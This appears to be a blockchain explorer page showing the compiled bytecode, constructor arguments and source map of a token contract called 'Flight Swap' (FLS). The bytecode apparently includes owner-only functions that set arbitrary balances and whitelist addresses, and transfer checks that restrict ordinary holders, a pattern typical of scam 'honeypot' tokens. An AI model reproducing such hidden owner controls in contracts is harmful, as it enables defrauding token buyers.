adb36c0c2f64736f6c63430005110032000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000005f5e100000000000000000000000000000000000000000000000000000000000000000b466c6967687420537761700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003464c530000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a72315820d2fc5a2eb2a20206bedc01525709116756b451e30e4061533a4b1cadb36c0c2f64736f6c63430005110032

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000005f5e100000000000000000000000000000000000000000000000000000000000000000b466c6967687420537761700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003464c530000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _name (string): Flight Swap
Arg [1] : _symbol (string): FLS
Arg [2] : _supply (uint256): 100000000

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 0000000000000000000000000000000000000000000000000000000005f5e100
Arg [3] : 000000000000000000000000000000000000000000000000000000000000000b
Arg [4] : 466c696768742053776170000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [6] : 464c530000000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

22123:3194:0:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;24891:18;;8:9:-1;5:2;;;30:1;27;20:12;5:2;24891:18:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;24891:18:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23337:213;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;23337:213:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;24861:23;;8:9:-1;5:2;;;30:1;27;20:12;5:2;24861:23:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;22764:564;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;22764:564:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;24820:34;;8:9:-1;5:2;;;30:1;27;20:12;5:2;24820:34:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;24222:271;;8:9:-1;5:2;;;30:1;27;20:12;5:2;24222:271:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;24222:271:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;24698:42;;8:9:-1;5:2;;;30:1;27;20:12;5:2;24698:42:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;24698:42:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;24916:20;;8:9:-1;5:2;;;30:1;27;20:12;5:2;24916:20:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;24916:20:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;22315:137;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;22315:137:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;24747:63;;8:9:-1;5:2;;;30:1;27;20:12;5:2;24747:63:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;24747:63:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;24528:161;;8:9:-1;5:2;;;30:1;27;20:12;5:2;24528:161:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;24528:161:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;24891:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;23337:213::-;23409:4;23460:6;23426:9;:21;23436:10;23426:21;;;;;;;;;;;;;;;:31;23448:8;23426:31;;;;;;;;;;;;;;;:40;;;;23503:8;23482:38;;23491:10;23482:38;;;23513:6;23482:38;;;;;;;;;;;;;;;;;;23538:4;23531:11;;23337:213;;;;:::o;24861:23::-;;;;:::o;22764:564::-;22851:4;22882:1;22872:6;:11;22868:31;;;22893:4;22886:11;;;;22868:31;22927:5;22913:19;;:10;:19;;;22909:152;;22989:6;22957:9;:16;22967:5;22957:16;;;;;;;;;;;;;;;:28;22974:10;22957:28;;;;;;;;;;;;;;;;:38;;22949:47;;;;;;23043:6;23011:9;:16;23021:5;23011:16;;;;;;;;;;;;;;;:28;23028:10;23011:28;;;;;;;;;;;;;;;;:38;;;;;;;;;;;22909:152;23079:26;23086:5;23093:3;23098:6;23079;:26::i;:::-;23071:35;;;;;;23145:6;23125:9;:16;23135:5;23125:16;;;;;;;;;;;;;;;;:26;;23117:35;;;;;;23183:6;23163:9;:16;23173:5;23163:16;;;;;;;;;;;;;;;;:26;;;;;;;;;;;23218:6;23200:9;:14;23210:3;23200:14;;;;;;;;;;;;;;;;:24;;;;;;;;;;;23235:10;:17;23246:5;23235:17;;;;;;;;;;;;;;;;:19;;;;;;;;;;;;;23286:3;23270:28;;23279:5;23270:28;;;23291:6;23270:28;;;;;;;;;;;;;;;;;;23316:4;23309:11;;22764:564;;;;;;:::o;24820:34::-;24852:2;24820:34;:::o;24222:271::-;24299:4;24338:5;;;;;;;;;;;24324:19;;:10;:19;;;24316:28;;;;;;24371:1;24358:10;:14;24355:77;;;24852:2;24408;:21;24396:10;:34;24375:9;:18;24385:7;24375:18;;;;;;;;;;;;;;;:55;;;;24355:77;24459:4;24442:7;:16;24450:7;24442:16;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;24481:4;24474:11;;24222:271;;;;:::o;24698:42::-;;;;;;;;;;;;;;;;;:::o;24916:20::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;22315:137::-;22383:4;22407:37;22420:10;22432:3;22437:6;22407:12;:37::i;:::-;22400:44;;22315:137;;;;:::o;24747:63::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;24528:161::-;24584:4;24623:5;;;;;;;;;;;24609:19;;:10;:19;;;24601:28;;;;;;24655:4;24640:12;;:19;;;;;;;;;;;;;;;;;;24677:4;24670:11;;24528:161;;;:::o;22461:291::-;22540:4;22578:5;;;;;;;;;;;22569:14;;:5;:14;;;:30;;;;22594:5;;;;;;;;;;;22587:12;;:3;:12;;;22569:30;:55;;;;22612:12;;;;;;;;;;;22603:21;;:5;:21;;;22569:55;:71;;;;22626:7;:14;22634:5;22626:14;;;;;;;;;;;;;;;;;;;;;;;;;22569:71;22566:113;;;22663:4;22656:11;;;;22566:113;22697:24;22707:5;22714:6;22697:9;:24::i;:::-;22689:33;;;;;;22740:4;22733:11;;22461:291;;;;;;:::o;23562:462::-;23631:4;23662:1;23650:8;;:13;:30;;;;;23679:1;23667:8;;:13;23650:30;:47;;;;;23696:1;23684:8;;:13;23650:47;23647:64;;;23706:5;23699:12;;;;23647:64;23746:1;23735:8;;:12;23732:89;;;23787:8;;23766:10;:17;23777:5;23766:17;;;;;;;;;;;;;;;;:29;23763:46;;23804:5;23797:12;;;;23763:46;23732:89;23845:1;23834:8;;:12;23831:77;;;23876:6;23865:8;;:17;23862:34;;;23891:5;23884:12;;;;23862:34;23831:77;23932:1;23921:8;;:12;23918:77;;;23961:8;;23952:6;:17;23949:34;;;23978:5;23971:12;;;;23949:34;23918:77;24012:4;24005:11;;23562:462;;;;;:::o

Swarm Source

bzzr://d2fc5a2eb2a20206bedc01525709116756b451e30e4061533a4b1cadb36c0c2f
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.